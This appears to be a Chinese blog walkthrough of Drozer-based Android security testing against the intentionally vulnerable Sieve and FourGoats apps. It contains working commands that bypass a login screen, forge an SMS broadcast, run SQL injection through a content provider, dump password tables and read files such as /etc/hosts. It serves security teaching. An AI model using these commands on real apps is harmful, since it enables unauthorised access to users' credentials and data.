Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null

  • 使用app.activity.start进行漏洞测试

越权漏洞–绕过登录界面导致可直接访问Your Passwords界面,说明存在越权漏洞

1
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

image-20220407104315393

Broadcast组件

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

  • 本次演练的apk来自于这里

  • 下面使用fourgoats.apk测试Broadcast。查看fourgoats该APP的可攻击点,可以看到存在broadcast广播问题。

1
2
3
4
5
6
7
dz> run app.package.attacksurface org.owasp.goatdroid.fourgoats
Attack Surface:
4 activities exported
1 broadcast receivers exported # 发现这里有一个广播可攻击
0 content providers exported
1 services exported
is debuggable
  • 使用app.activity.start进行漏洞测试查看对外的broadcast组件信息
1
2
3
4
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
Permission: null
  • 查看反编译出(apktool d goatdroid.apk)的AndroidManifest.xml文件,可看到将receiverexported设置未进行设置(由于存在了filter,默认属性为true)。说明存在越权问题,可发送恶意广播,伪造消息等等。

image-20220407111007905

当前broadcast Receiver 是否可以从当前应用外部获取Receiver message true,可以;false 不可以。如果为false ,当前broadcast Receiver 只能收到同一个应用或者拥有同一 user ID 应用发出广播。

默认值根据当前 broadcast Receiver 是否包含intent filter来定。如果没有任何的filter的话意味着只有在被详细的描述了class name的情况下才会被唤起。这意味着当前Receiver只能在应用内部被使用(因为其它应用不知道这个类的存在。)在这种情况下,默认值是false。如果至少包含一个filter意味着当前broadcast Receiver 将会收到来自系统或者其它应用的广播,所以这个时候默认值是true。

不只有这个属性可以指定broadcast Receiver 是否暴露给其它应用。你也可以使用permission来限制外部应用给他发送消息

更多的参考资料

  • 反编译查看源代码,发现需要两个参数phoneNumbermessage

image-20220408194905671

漏洞利用-可发送恶意广播包

1
dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd!

image-20220408195320526

漏洞利用,拒绝服务攻击检测

1
dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

image-20220408195645407

Services组件

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。

然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。

另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。

image-20220408195931828

  • org.owasp.fourgoats.goatdroid.LocationService服务被导出,不需要任何权限。所以这意味着任何与FourGoats应用程序安装在设备上的恶意应用程序可以访问设备的位置。

让我们尝试启动特定服务

1
run app.package.attacksurface org.owasp.goatdroid.fourgoats

image-20220408200049130

  • 查看services信息
1
run app.service.info -a org.owasp.goatdroid.fourgoats

image-20220408200401332

  • 启动相关服务
1
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
  • 观察状态栏中的位置标志和GPS位置正在由FourGoats应用程序访问,这里我出现应用已停止的提示,贴人家攻击成功的图片

image-20220408201610560

Content组件

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。

  • 查看fourgoats该APP的可攻击点,可以看到存在broadcast广播问题。
1
run app.package.attacksurface org.owasp.goatdroid.fourgoats

image-20220408202246019

信息泄露利用

  • 扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
  • 查询或修改数据库中的数据,发现存在数据泄露问题,访问uri可看到一些敏感信息,
1
2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
| _id | service | username | password | email |

我本人查到的是空数据,因为这个apk我还使用,因此没有任何数据,贴一个其他博客有数据的图片

image-20220408203718126

SQL注入漏洞

同样content可能导致注入问题。使用以下语句进行测试发现报错,说明存在SQL注入漏洞,直接注入了*号,查询到数据

1
2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection  "*"
| _id | service | username | password | email |
  • 列出所有表信息
1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" 

image-20220408204237027

  • 同时也可以使用扫描功能对该app注入点位置进行扫描
1
run scanner.provider.injection -a  com.mwr.example.sieve

image-20220408204354777

  • 列出该app的表信息
1
run scanner.provider.sqltables -a  com.mwr.example.sieve

image-20220408204508903

底层文件操作

  • 文件读取
1
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 

image-20220408204701317

  • 文件下载
1
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
  • 文件下载没有执行成功,执行成功后应该回显以下内容:
1
2
/data/com.mwr.example.sieve/databases/database.db /home/user/database.db 
Written 24576 bytes

目录遍历

  • 目录遍历漏洞
1
run scanner.provider.traversal -a com.mwr.example.sieve

image-20220408204953757

更多Drozer使用方法可参阅官方指南(英文):** Drozer 使用指南**